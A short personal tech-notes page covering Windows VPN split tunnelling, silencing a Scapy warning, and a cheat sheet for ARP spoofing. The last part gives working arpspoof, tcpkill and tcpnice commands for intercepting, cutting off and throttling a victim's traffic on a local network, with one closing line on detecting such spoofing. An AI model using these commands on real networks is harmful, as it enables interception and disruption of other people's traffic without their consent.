By default, when you connect to VPN in Windows, it will put all your Internet traffic through the VPN. This can be annoying if you just want to VPN in to get access to some files on the network. This can be especially annoying if your VPN server is slow and now all your Internet access speed is slow.

To use VPN for domain network access only

1. Right-click your VPN connection and choose properties.
2. Go to Networking tab and open your TCP/IPv4 item
3. Click on Advanced…
4. Uncheck “Use default gateway on remote network” and click OK

Now, only relevant traffic goes through VPN

When you run Scapy without a default IPv6 routing gateway, Scapy will display this annoying warning:

WARNING: No route found for IPv6 destination :: (no default route?)

You definitely don’t want to see it every time you run the script you built with Scapy. To get rid of it, simply add

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

before importing Scapy to suppress all messages below error messages

Notes to self because I never remember

To arpspoof, turn on IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

with Linux (might need su) or more permanently,

net.ipv4.ip_forward = 1

in /etc/sysctl.conf

In BSD/Mac OS X,

sysctl -w net.inet.ip.forwarding=1

or

net.inet.ip.forwarding = 1

in /etc/sysctl.conf

Alternatively, you can also use fragrouter to forward packets with

fragrouter -B1

Then to arpspoof

arpspoof -t [victim ip] [gateway ip]

arpspoof -t [gateway ip] [victim ip]

Optionally, add

& > /dev/null

to get rid of output. Trust me, there’s nothing interesting.

To block sites/ports:

tcpkill -9 host www.facebook.com or port 5432

To slow down traffic:

tcpnice net 10.0.0.2 or port 5432

Filter expressions are here

The easiest way to detect this spoofing is to ping something outside your gateway and look for redirects